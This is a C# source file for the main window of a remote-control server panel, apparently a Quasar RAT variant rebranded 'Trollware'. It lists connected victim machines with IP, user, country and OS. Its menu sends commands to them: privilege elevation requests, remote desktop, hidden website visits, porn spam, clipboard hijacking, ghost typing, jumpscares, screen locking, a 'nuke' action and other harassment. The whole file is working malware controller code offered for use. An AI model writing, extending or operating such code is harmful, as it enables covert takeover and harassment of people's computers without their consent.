873 lines
30 KiB
C#
873 lines
30 KiB
C#
using Quasar.Common.Enums;
|
||||
|
|
using Quasar.Common.Messages;
|
|||
|
|
using Quasar.Server.Extensions;
|
|||
|
|
using Quasar.Server.Messages;
|
|||
|
|
using Quasar.Server.Models;
|
|||
|
|
using Quasar.Server.Networking;
|
|||
|
|
using Quasar.Server.Utilities;
|
|||
|
|
using System;
|
|||
|
|
using System.Collections.Generic;
|
|||
|
|
using System.IO;
|
|||
|
|
using System.IO.Compression;
|
|||
|
|
using System.Linq;
|
|||
|
|
using System.Net.Sockets;
|
|||
|
|
using System.Reflection;
|
|||
|
|
using System.Security.Cryptography.X509Certificates;
|
|||
|
|
using System.Threading;
|
|||
|
|
using System.Windows.Forms;
|
|||
|
|
|
|||
|
|
namespace Quasar.Server.Forms
|
|||
|
|
{
|
|||
|
|
public partial class FrmMain : Form
|
|||
|
|
{
|
|||
|
|
public QuasarServer ListenServer { get; set; }
|
|||
|
|
|
|||
|
|
private const int STATUS_ID = 4;
|
|||
|
|
private const int USERSTATUS_ID = 5;
|
|||
|
|
|
|||
|
|
private bool _titleUpdateRunning;
|
|||
|
|
private bool _processingClientConnections;
|
|||
|
|
private readonly ClientStatusHandler _clientStatusHandler;
|
|||
|
|
private readonly Queue<KeyValuePair<Client, bool>> _clientConnections = new Queue<KeyValuePair<Client, bool>>();
|
|||
|
|
private readonly object _processingClientConnectionsLock = new object();
|
|||
|
|
private readonly object _lockClients = new object(); // lock for clients-listview
|
|||
|
|
|
|||
|
|
public FrmMain()
|
|||
|
|
{
|
|||
|
|
_clientStatusHandler = new ClientStatusHandler();
|
|||
|
|
RegisterMessageHandler();
|
|||
|
|
InitializeComponent();
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/// <summary>
|
|||
|
|
/// Registers the client status message handler for client communication.
|
|||
|
|
/// </summary>
|
|||
|
|
private void RegisterMessageHandler()
|
|||
|
|
{
|
|||
|
|
MessageHandler.Register(_clientStatusHandler);
|
|||
|
|
_clientStatusHandler.StatusUpdated += SetStatusByClient;
|
|||
|
|
_clientStatusHandler.UserStatusUpdated += SetUserStatusByClient;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/// <summary>
|
|||
|
|
/// Unregisters the client status message handler.
|
|||
|
|
/// </summary>
|
|||
|
|
private void UnregisterMessageHandler()
|
|||
|
|
{
|
|||
|
|
MessageHandler.Unregister(_clientStatusHandler);
|
|||
|
|
_clientStatusHandler.StatusUpdated -= SetStatusByClient;
|
|||
|
|
_clientStatusHandler.UserStatusUpdated -= SetUserStatusByClient;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void UpdateWindowTitle()
|
|||
|
|
{
|
|||
|
|
if (_titleUpdateRunning) return;
|
|||
|
|
_titleUpdateRunning = true;
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
this.Invoke((MethodInvoker) delegate
|
|||
|
|
{
|
|||
|
|
int selected = lstClients.SelectedItems.Count;
|
|||
|
|
this.Text = (selected > 0)
|
|||
|
|
? string.Format("Trollware - Connected: {0} [Selected: {1}]", ListenServer.ConnectedClients.Length,
|
|||
|
|
selected)
|
|||
|
|
: string.Format("Trollware - Connected: {0}", ListenServer.ConnectedClients.Length);
|
|||
|
|
});
|
|||
|
|
}
|
|||
|
|
catch (Exception)
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
_titleUpdateRunning = false;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void InitializeServer()
|
|||
|
|
{
|
|||
|
|
X509Certificate2 serverCertificate;
|
|||
|
|
#if DEBUG
|
|||
|
|
serverCertificate = new DummyCertificate();
|
|||
|
|
#else
|
|||
|
|
if (!File.Exists(Settings.CertificatePath))
|
|||
|
|
{
|
|||
|
|
using (var certificateSelection = new FrmCertificate())
|
|||
|
|
{
|
|||
|
|
while (certificateSelection.ShowDialog() != DialogResult.OK)
|
|||
|
|
{ }
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
serverCertificate = new X509Certificate2(Settings.CertificatePath);
|
|||
|
|
#endif
|
|||
|
|
/*var str = Convert.ToBase64String(serverCertificate.Export(X509ContentType.Cert));
|
|||
|
|
|
|||
|
|
var cert2 = new X509Certificate2(Convert.FromBase64String(str));
|
|||
|
|
var serverCsp = (RSACryptoServiceProvider)serverCertificate.PublicKey.Key;
|
|||
|
|
var connectedCsp = (RSACryptoServiceProvider)new X509Certificate2(cert2).PublicKey.Key;
|
|||
|
|
|
|||
|
|
var result = serverCsp.ExportParameters(false);
|
|||
|
|
var result2 = connectedCsp.ExportParameters(false);
|
|||
|
|
|
|||
|
|
var b = SafeComparison.AreEqual(result.Exponent, result2.Exponent) &&
|
|||
|
|
SafeComparison.AreEqual(result.Modulus, result2.Modulus);*/
|
|||
|
|
|
|||
|
|
ListenServer = new QuasarServer(serverCertificate);
|
|||
|
|
ListenServer.ServerState += ServerState;
|
|||
|
|
ListenServer.ClientConnected += ClientConnected;
|
|||
|
|
ListenServer.ClientDisconnected += ClientDisconnected;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void StartConnectionListener()
|
|||
|
|
{
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
ListenServer.Listen(Settings.ListenPort, Settings.IPv6Support, Settings.UseUPnP);
|
|||
|
|
}
|
|||
|
|
catch (SocketException ex)
|
|||
|
|
{
|
|||
|
|
if (ex.ErrorCode == 10048)
|
|||
|
|
{
|
|||
|
|
MessageBox.Show(this, "The port is already in use.", "Socket Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
|||
|
|
}
|
|||
|
|
else
|
|||
|
|
{
|
|||
|
|
MessageBox.Show(this, $"An unexpected socket error occurred: {ex.Message}\n\nError Code: {ex.ErrorCode}\n\n", "Unexpected Socket Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
|||
|
|
}
|
|||
|
|
ListenServer.Disconnect();
|
|||
|
|
}
|
|||
|
|
catch (Exception)
|
|||
|
|
{
|
|||
|
|
ListenServer.Disconnect();
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void AutostartListening()
|
|||
|
|
{
|
|||
|
|
if (Settings.AutoListen)
|
|||
|
|
{
|
|||
|
|
StartConnectionListener();
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
if (Settings.EnableNoIPUpdater)
|
|||
|
|
{
|
|||
|
|
NoIpUpdater.Start();
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void FrmMain_Load(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
InitializeServer();
|
|||
|
|
AutostartListening();
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void FrmMain_FormClosing(object sender, FormClosingEventArgs e)
|
|||
|
|
{
|
|||
|
|
ListenServer.Disconnect();
|
|||
|
|
UnregisterMessageHandler();
|
|||
|
|
notifyIcon.Visible = false;
|
|||
|
|
notifyIcon.Dispose();
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void lstClients_SelectedIndexChanged(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
UpdateWindowTitle();
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void ServerState(Networking.Server server, bool listening, ushort port)
|
|||
|
|
{
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
this.Invoke((MethodInvoker) delegate
|
|||
|
|
{
|
|||
|
|
if (!listening)
|
|||
|
|
lstClients.Items.Clear();
|
|||
|
|
listenToolStripStatusLabel.Text = listening ? string.Format("Listening on port {0}.", port) : "Not listening.";
|
|||
|
|
});
|
|||
|
|
UpdateWindowTitle();
|
|||
|
|
}
|
|||
|
|
catch (InvalidOperationException)
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void ClientConnected(Client client)
|
|||
|
|
{
|
|||
|
|
lock (_clientConnections)
|
|||
|
|
{
|
|||
|
|
if (!ListenServer.Listening) return;
|
|||
|
|
_clientConnections.Enqueue(new KeyValuePair<Client, bool>(client, true));
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
lock (_processingClientConnectionsLock)
|
|||
|
|
{
|
|||
|
|
if (!_processingClientConnections)
|
|||
|
|
{
|
|||
|
|
_processingClientConnections = true;
|
|||
|
|
ThreadPool.QueueUserWorkItem(ProcessClientConnections);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void ClientDisconnected(Client client)
|
|||
|
|
{
|
|||
|
|
lock (_clientConnections)
|
|||
|
|
{
|
|||
|
|
if (!ListenServer.Listening) return;
|
|||
|
|
_clientConnections.Enqueue(new KeyValuePair<Client, bool>(client, false));
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
lock (_processingClientConnectionsLock)
|
|||
|
|
{
|
|||
|
|
if (!_processingClientConnections)
|
|||
|
|
{
|
|||
|
|
_processingClientConnections = true;
|
|||
|
|
ThreadPool.QueueUserWorkItem(ProcessClientConnections);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void ProcessClientConnections(object state)
|
|||
|
|
{
|
|||
|
|
while (true)
|
|||
|
|
{
|
|||
|
|
KeyValuePair<Client, bool> client;
|
|||
|
|
lock (_clientConnections)
|
|||
|
|
{
|
|||
|
|
if (!ListenServer.Listening)
|
|||
|
|
{
|
|||
|
|
_clientConnections.Clear();
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
if (_clientConnections.Count == 0)
|
|||
|
|
{
|
|||
|
|
lock (_processingClientConnectionsLock)
|
|||
|
|
{
|
|||
|
|
_processingClientConnections = false;
|
|||
|
|
}
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
client = _clientConnections.Dequeue();
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
if (client.Key != null)
|
|||
|
|
{
|
|||
|
|
switch (client.Value)
|
|||
|
|
{
|
|||
|
|
case true:
|
|||
|
|
AddClientToListview(client.Key);
|
|||
|
|
if (Settings.ShowPopup)
|
|||
|
|
ShowPopup(client.Key);
|
|||
|
|
break;
|
|||
|
|
case false:
|
|||
|
|
RemoveClientFromListview(client.Key);
|
|||
|
|
break;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/// <summary>
|
|||
|
|
/// Sets the tooltip text of the listview item of a client.
|
|||
|
|
/// </summary>
|
|||
|
|
/// <param name="client">The client on which the change is performed.</param>
|
|||
|
|
/// <param name="text">The new tooltip text.</param>
|
|||
|
|
public void SetToolTipText(Client client, string text)
|
|||
|
|
{
|
|||
|
|
if (client == null) return;
|
|||
|
|
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
lstClients.Invoke((MethodInvoker) delegate
|
|||
|
|
{
|
|||
|
|
var item = GetListViewItemByClient(client);
|
|||
|
|
if (item != null)
|
|||
|
|
item.ToolTipText = text;
|
|||
|
|
});
|
|||
|
|
}
|
|||
|
|
catch (InvalidOperationException)
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/// <summary>
|
|||
|
|
/// Adds a connected client to the Listview.
|
|||
|
|
/// </summary>
|
|||
|
|
/// <param name="client">The client to add.</param>
|
|||
|
|
private void AddClientToListview(Client client)
|
|||
|
|
{
|
|||
|
|
if (client == null) return;
|
|||
|
|
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
// this " " leaves some space between the flag-icon and first item
|
|||
|
|
ListViewItem lvi = new ListViewItem(new string[]
|
|||
|
|
{
|
|||
|
|
" " + client.EndPoint.Address, client.Value.Tag,
|
|||
|
|
client.Value.UserAtPc, client.Value.Version, "Connected", "Active", client.Value.CountryWithCode,
|
|||
|
|
client.Value.OperatingSystem, client.Value.AccountType
|
|||
|
|
}) { Tag = client, ImageIndex = client.Value.ImageIndex };
|
|||
|
|
|
|||
|
|
lstClients.Invoke((MethodInvoker) delegate
|
|||
|
|
{
|
|||
|
|
lock (_lockClients)
|
|||
|
|
{
|
|||
|
|
lstClients.Items.Add(lvi);
|
|||
|
|
}
|
|||
|
|
});
|
|||
|
|
|
|||
|
|
UpdateWindowTitle();
|
|||
|
|
}
|
|||
|
|
catch (InvalidOperationException)
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/// <summary>
|
|||
|
|
/// Removes a connected client from the Listview.
|
|||
|
|
/// </summary>
|
|||
|
|
/// <param name="client">The client to remove.</param>
|
|||
|
|
private void RemoveClientFromListview(Client client)
|
|||
|
|
{
|
|||
|
|
if (client == null) return;
|
|||
|
|
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
lstClients.Invoke((MethodInvoker) delegate
|
|||
|
|
{
|
|||
|
|
lock (_lockClients)
|
|||
|
|
{
|
|||
|
|
foreach (ListViewItem lvi in lstClients.Items.Cast<ListViewItem>()
|
|||
|
|
.Where(lvi => lvi != null && client.Equals(lvi.Tag)))
|
|||
|
|
{
|
|||
|
|
lvi.Remove();
|
|||
|
|
break;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
});
|
|||
|
|
UpdateWindowTitle();
|
|||
|
|
}
|
|||
|
|
catch (InvalidOperationException)
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/// <summary>
|
|||
|
|
/// Sets the status of a client.
|
|||
|
|
/// </summary>
|
|||
|
|
/// <param name="sender">The message handler which raised the event.</param>
|
|||
|
|
/// <param name="client">The client to update the status of.</param>
|
|||
|
|
/// <param name="text">The new status.</param>
|
|||
|
|
private void SetStatusByClient(object sender, Client client, string text)
|
|||
|
|
{
|
|||
|
|
var item = GetListViewItemByClient(client);
|
|||
|
|
if (item != null)
|
|||
|
|
item.SubItems[STATUS_ID].Text = text;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/// <summary>
|
|||
|
|
/// Sets the user status of a client.
|
|||
|
|
/// </summary>
|
|||
|
|
/// <param name="sender">The message handler which raised the event.</param>
|
|||
|
|
/// <param name="client">The client to update the user status of.</param>
|
|||
|
|
/// <param name="userStatus">The new user status.</param>
|
|||
|
|
private void SetUserStatusByClient(object sender, Client client, UserStatus userStatus)
|
|||
|
|
{
|
|||
|
|
var item = GetListViewItemByClient(client);
|
|||
|
|
if (item != null)
|
|||
|
|
item.SubItems[USERSTATUS_ID].Text = userStatus.ToString();
|
|||
|
|
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/// <summary>
|
|||
|
|
/// Gets the Listview item which belongs to the client.
|
|||
|
|
/// </summary>
|
|||
|
|
/// <param name="client">The client to get the Listview item of.</param>
|
|||
|
|
/// <returns>Listview item of the client.</returns>
|
|||
|
|
private ListViewItem GetListViewItemByClient(Client client)
|
|||
|
|
{
|
|||
|
|
if (client == null) return null;
|
|||
|
|
|
|||
|
|
ListViewItem itemClient = null;
|
|||
|
|
|
|||
|
|
lstClients.Invoke((MethodInvoker) delegate
|
|||
|
|
{
|
|||
|
|
itemClient = lstClients.Items.Cast<ListViewItem>()
|
|||
|
|
.FirstOrDefault(lvi => lvi != null && client.Equals(lvi.Tag));
|
|||
|
|
});
|
|||
|
|
|
|||
|
|
return itemClient;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/// <summary>
|
|||
|
|
/// Gets all selected clients.
|
|||
|
|
/// </summary>
|
|||
|
|
/// <returns>An array of all selected Clients.</returns>
|
|||
|
|
private Client[] GetSelectedClients()
|
|||
|
|
{
|
|||
|
|
List<Client> clients = new List<Client>();
|
|||
|
|
|
|||
|
|
lstClients.Invoke((MethodInvoker)delegate
|
|||
|
|
{
|
|||
|
|
lock (_lockClients)
|
|||
|
|
{
|
|||
|
|
if (lstClients.SelectedItems.Count == 0) return;
|
|||
|
|
clients.AddRange(
|
|||
|
|
lstClients.SelectedItems.Cast<ListViewItem>()
|
|||
|
|
.Where(lvi => lvi != null)
|
|||
|
|
.Select(lvi => lvi.Tag as Client));
|
|||
|
|
}
|
|||
|
|
});
|
|||
|
|
|
|||
|
|
return clients.ToArray();
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/// <summary>
|
|||
|
|
/// Gets all connected clients.
|
|||
|
|
/// </summary>
|
|||
|
|
/// <returns>An array of all connected Clients.</returns>
|
|||
|
|
private Client[] GetConnectedClients()
|
|||
|
|
{
|
|||
|
|
return ListenServer.ConnectedClients;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/// <summary>
|
|||
|
|
/// Displays a popup with information about a client.
|
|||
|
|
/// </summary>
|
|||
|
|
/// <param name="c">The client.</param>
|
|||
|
|
private void ShowPopup(Client c)
|
|||
|
|
{
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
this.Invoke((MethodInvoker)delegate
|
|||
|
|
{
|
|||
|
|
if (c == null || c.Value == null) return;
|
|||
|
|
|
|||
|
|
notifyIcon.ShowBalloonTip(4000, string.Format("Client connected from {0}!", c.Value.Country),
|
|||
|
|
string.Format("IP Address: {0}\nOperating System: {1}", c.EndPoint.Address.ToString(),
|
|||
|
|
c.Value.OperatingSystem), ToolTipIcon.Info);
|
|||
|
|
});
|
|||
|
|
}
|
|||
|
|
catch (InvalidOperationException)
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
#region "ContextMenuStrip"
|
|||
|
|
|
|||
|
|
#region "Client Management"
|
|||
|
|
|
|||
|
|
private void elevateClientPermissionsToolStripMenuItem_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
foreach (Client c in GetSelectedClients())
|
|||
|
|
{
|
|||
|
|
c.Send(new DoAskElevate());
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void updateToolStripMenuItem_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
foreach (Client c in GetSelectedClients())
|
|||
|
|
c.Send(new DoClientReconnect());
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void reconnectToolStripMenuItem_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
foreach (Client c in GetSelectedClients())
|
|||
|
|
{
|
|||
|
|
c.Send(new DoClientReconnect());
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void disconnectToolStripMenuItem_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
foreach (Client c in GetSelectedClients())
|
|||
|
|
{
|
|||
|
|
c.Send(new DoClientDisconnect());
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void uninstallToolStripMenuItem_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
if (lstClients.SelectedItems.Count == 0) return;
|
|||
|
|
if (
|
|||
|
|
MessageBox.Show(
|
|||
|
|
string.Format(
|
|||
|
|
"Are you sure you want to uninstall the client on {0} computer\\s?",
|
|||
|
|
lstClients.SelectedItems.Count), "Uninstall Confirmation", MessageBoxButtons.YesNo,
|
|||
|
|
MessageBoxIcon.Question) == DialogResult.Yes)
|
|||
|
|
{
|
|||
|
|
foreach (Client c in GetSelectedClients())
|
|||
|
|
{
|
|||
|
|
c.Send(new DoClientUninstall());
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
#endregion
|
|||
|
|
|
|||
|
|
private void remoteDesktopToolStripMenuItem_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
foreach (Client c in GetSelectedClients())
|
|||
|
|
{
|
|||
|
|
var frmRd = FrmRemoteDesktop.CreateNewOrGetExisting(c);
|
|||
|
|
frmRd.Show();
|
|||
|
|
frmRd.Focus();
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
#region "Troll"
|
|||
|
|
|
|||
|
|
private void visitWebsiteToolStripMenuItem_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
if (lstClients.SelectedItems.Count != 0)
|
|||
|
|
{
|
|||
|
|
using (var frm = new FrmVisitWebsite(lstClients.SelectedItems.Count))
|
|||
|
|
{
|
|||
|
|
if (frm.ShowDialog() == DialogResult.OK)
|
|||
|
|
{
|
|||
|
|
foreach (Client c in GetSelectedClients())
|
|||
|
|
{
|
|||
|
|
c.Send(new DoVisitWebsite
|
|||
|
|
{
|
|||
|
|
Url = frm.Url,
|
|||
|
|
Hidden = frm.Hidden
|
|||
|
|
});
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void showMessageboxToolStripMenuItem_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
if (lstClients.SelectedItems.Count != 0)
|
|||
|
|
{
|
|||
|
|
using (var frm = new FrmShowMessagebox(lstClients.SelectedItems.Count))
|
|||
|
|
{
|
|||
|
|
if (frm.ShowDialog() == DialogResult.OK)
|
|||
|
|
{
|
|||
|
|
foreach (Client c in GetSelectedClients())
|
|||
|
|
{
|
|||
|
|
c.Send(new DoShowMessageBox
|
|||
|
|
{
|
|||
|
|
Caption = frm.MsgBoxCaption,
|
|||
|
|
Text = frm.MsgBoxText,
|
|||
|
|
Button = frm.MsgBoxButton,
|
|||
|
|
Icon = frm.MsgBoxIcon
|
|||
|
|
});
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void startPornSpamToolStripMenuItem_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
foreach (Client c in GetSelectedClients())
|
|||
|
|
c.Send(new DoStartPornSpam());
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void stopPornSpamToolStripMenuItem_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
foreach (Client c in GetSelectedClients())
|
|||
|
|
c.Send(new DoStopPornSpam());
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void startClipboardHijackToolStripMenuItem_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
string text = Microsoft.VisualBasic.Interaction.InputBox("Enter replacement text for clipboard:", "Clipboard Hijack", "lol got you");
|
|||
|
|
if (string.IsNullOrWhiteSpace(text)) return;
|
|||
|
|
foreach (Client c in GetSelectedClients())
|
|||
|
|
c.Send(new DoStartClipboardHijack { ReplacementText = text });
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void stopClipboardHijackToolStripMenuItem_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
foreach (Client c in GetSelectedClients())
|
|||
|
|
c.Send(new DoStopClipboardHijack());
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void startCursorChaosToolStripMenuItem_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
foreach (Client c in GetSelectedClients())
|
|||
|
|
c.Send(new DoStartCursorChaos());
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void stopCursorChaosToolStripMenuItem_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
foreach (Client c in GetSelectedClients())
|
|||
|
|
c.Send(new DoStopCursorChaos());
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private static byte[] ReadEmbeddedResource(string name)
|
|||
|
|
{
|
|||
|
|
var asm = Assembly.GetExecutingAssembly();
|
|||
|
|
using (var stream = asm.GetManifestResourceStream(name))
|
|||
|
|
{
|
|||
|
|
var buf = new byte[stream.Length];
|
|||
|
|
stream.Read(buf, 0, buf.Length);
|
|||
|
|
return buf;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private static byte[] GzipCompress(byte[] data)
|
|||
|
|
{
|
|||
|
|
using (var ms = new MemoryStream())
|
|||
|
|
{
|
|||
|
|
using (var gz = new GZipStream(ms, CompressionLevel.Fastest))
|
|||
|
|
gz.Write(data, 0, data.Length);
|
|||
|
|
return ms.ToArray();
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void ghostTypingToolStripMenuItem_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
foreach (Client c in GetSelectedClients())
|
|||
|
|
c.Send(new DoGhostTyping());
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void jumpscareToolStripMenuItem_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
var msg = new DoJumpscare
|
|||
|
|
{
|
|||
|
|
WavData = GzipCompress(ReadEmbeddedResource("Quasar.Server.Resources.scream.wav")),
|
|||
|
|
GifData = GzipCompress(ReadEmbeddedResource("Quasar.Server.Resources.scary.gif")),
|
|||
|
|
};
|
|||
|
|
|
|||
|
|
foreach (Client c in GetSelectedClients())
|
|||
|
|
c.Send(msg);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void textToSpeechToolStripMenuItem_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
string text = Microsoft.VisualBasic.Interaction.InputBox("Enter text to speak:", "Text to Speech", "Your computer has a virus!");
|
|||
|
|
if (string.IsNullOrWhiteSpace(text)) return;
|
|||
|
|
foreach (Client c in GetSelectedClients())
|
|||
|
|
c.Send(new DoTextToSpeech { Text = text });
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void startSchizophreniaToolStripMenuItem_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
foreach (Client c in GetSelectedClients())
|
|||
|
|
c.Send(new DoStartSchizophrenia());
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void stopSchizophreniaToolStripMenuItem_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
foreach (Client c in GetSelectedClients())
|
|||
|
|
c.Send(new DoStopSchizophrenia());
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void startColorInvertToolStripMenuItem_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
foreach (Client c in GetSelectedClients())
|
|||
|
|
c.Send(new DoStartColorInvert());
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void stopColorInvertToolStripMenuItem_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
foreach (Client c in GetSelectedClients())
|
|||
|
|
c.Send(new DoStopColorInvert());
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void pianoToolStripMenuItem_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
var frm = new FrmPiano(note => {
|
|||
|
|
foreach (Client c in GetSelectedClients())
|
|||
|
|
c.Send(note);
|
|||
|
|
});
|
|||
|
|
frm.Show(this);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void startBeepSpamToolStripMenuItem_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
foreach (Client c in GetSelectedClients())
|
|||
|
|
c.Send(new DoStartBeepSpam());
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void stopBeepSpamToolStripMenuItem_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
foreach (Client c in GetSelectedClients())
|
|||
|
|
c.Send(new DoStopBeepSpam());
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void startFartScrollToolStripMenuItem_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
foreach (Client c in GetSelectedClients())
|
|||
|
|
c.Send(new DoStartFartScroll());
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void stopFartScrollToolStripMenuItem_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
foreach (Client c in GetSelectedClients())
|
|||
|
|
c.Send(new DoStopFartScroll());
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void startDrunkModeToolStripMenuItem_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
foreach (Client c in GetSelectedClients())
|
|||
|
|
c.Send(new DoStartDrunkMode());
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void stopDrunkModeToolStripMenuItem_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
foreach (Client c in GetSelectedClients())
|
|||
|
|
c.Send(new DoStopDrunkMode());
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void startNukeToolStripMenuItem_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
foreach (Client c in GetSelectedClients())
|
|||
|
|
c.Send(new DoNuke());
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void stopNukeToolStripMenuItem_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
foreach (Client c in GetSelectedClients())
|
|||
|
|
c.Send(new DoStopNuke());
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void startEyesToolStripMenuItem_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
foreach (Client c in GetSelectedClients())
|
|||
|
|
c.Send(new DoStartEyes());
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void stopEyesToolStripMenuItem_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
foreach (Client c in GetSelectedClients())
|
|||
|
|
c.Send(new DoStopEyes());
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void lockScreenToolStripMenuItem_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
foreach (Client c in GetSelectedClients())
|
|||
|
|
c.Send(new DoLockScreen());
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void cdTrayToolStripMenuItem_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
string input = Microsoft.VisualBasic.Interaction.InputBox("How many times should the CD tray eject? (1–20)", "CD Tray Spam", "5");
|
|||
|
|
if (!int.TryParse(input, out int count) || count < 1) return;
|
|||
|
|
count = Math.Min(count, 20);
|
|||
|
|
foreach (Client c in GetSelectedClients())
|
|||
|
|
c.Send(new DoCdTray { Count = count });
|
|||
|
|
}
